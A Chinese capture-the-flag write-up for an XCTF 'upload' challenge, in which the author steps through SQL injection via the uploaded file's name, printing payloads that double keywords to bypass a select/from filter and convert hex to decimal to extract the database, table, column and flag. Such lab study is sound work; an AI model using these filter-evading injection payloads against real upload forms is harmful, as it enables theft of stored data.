攻防世界-高手进阶区之upload

进来页面如下:

攻防世界-高手进阶区之upload

然后就是正常的去注册一个用户,并且登录,我在这里也做了拦截,但是并没有什么有价值的信息:

攻防世界-高手进阶区之upload

登录进来之后是这样的一个页面,是文件上传(不过根据题目意思也是肯定可以知道的)。

我在这边也做了测试,只能够上传jpg文件,想要尝试php4,php5,php文件后缀都是不可以的。

然后我就在考虑是否是文件后缀截断上传,但是抓包截取内容之后并没有返回文件上传到哪里了,同时nikto和dirb扫描也没有发现什么有价值的信息。

 

接下来的话,就是看别人的wp了。不过说真的,第一次接触到是文件名注入的题目。

根据师傅们的wp和总结,大致的原因是上传的内容和回显的内容是一致的,所以很可能是回显的内容是从数据库里面来的,所以可以通过文件名注入的方式来做。

攻防世界-高手进阶区之upload

这样的结果就和我们上传的文件名是一致的。

 

下面的内容是看了别人的wp来的:(本题还过滤了select 以及from  所以在写select和from的时候需要双写绕过)

1.把文件名改成 s'+(selselectect CONV(substr(hex(dAtaBaSe()),1,2),16,10))+'.jpg     

① 这里使用substr的原因是当数字过长的时候会变成科学计数法,所以需要分批次来获取内容

②使用CONV是因为题目过滤了回显有字母的情况,如果出现了字母则后面的内容就不显示,所以需要将16进制的内容转成10进制

 

攻防世界-高手进阶区之upload

然后挨个查询内容,显示数据库的名字为web_upload

 

2.然后是查询表名:(hello_flag_is_here)

①s'+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromom information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit 1,1)),1,12),16,10))+'.jpg--------------->结果为 hello_
②s'+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromom information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit 1,1)),13,12),16,10))+'.jpg-------------->结果为 flag_i

③s'+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromom information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit 1,1)),25,12),16,10))+'.jpg-------------->结果为 s_here

 

3.然后是列名:(i_am_flag)

①s '+(seleselectct+CONV(substr(hex((seselectlect COLUMN_NAME frfromom information_schema.COLUMNS where TABLE_NAME = 'hello_flag_is_here' limit 0,1)),1,12),16,10))+'.jpg------------->结果为 i_am_f

②s '+(seleselectct+CONV(substr(hex((seselectlect COLUMN_NAME frfromom information_schema.COLUMNS where TABLE_NAME = 'hello_flag_is_here' limit 0,1)),13,12),16,10))+'.jpg----------->结果为 lag

4.字段内容:([email protected]_Th.e_F!lag

①s '+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),1,12),16,10))+'.jpg
------->结果为: [email protected]_

②s '+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),13,12),16,10))+'.jpg
------->结果为: Th.e_F

③s '+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),25,12),16,10))+'.jpg
------->结果为: !lag

 

 

写在最后:

1.第一次接触文件名注入,有几个值得关注的点吧:

①当回显和上传内容一致时,应当考虑文件名注入的方式

②CONV(N,from_base,to_base)函数,是指将N以from_base为底的基数,转成to_base的数,例如CONV(5,10,2),意思就是把10进制的5转成2进制

③substr(string,start,length)--->string指的是字符串,start是从什么位置开始,length是长度,返回内容为截取的字符串

在本题中,由于内容太长而导致会变成科学计数法,所以需要用截取,同时配合CONV来使用以至于不会被回显拦截。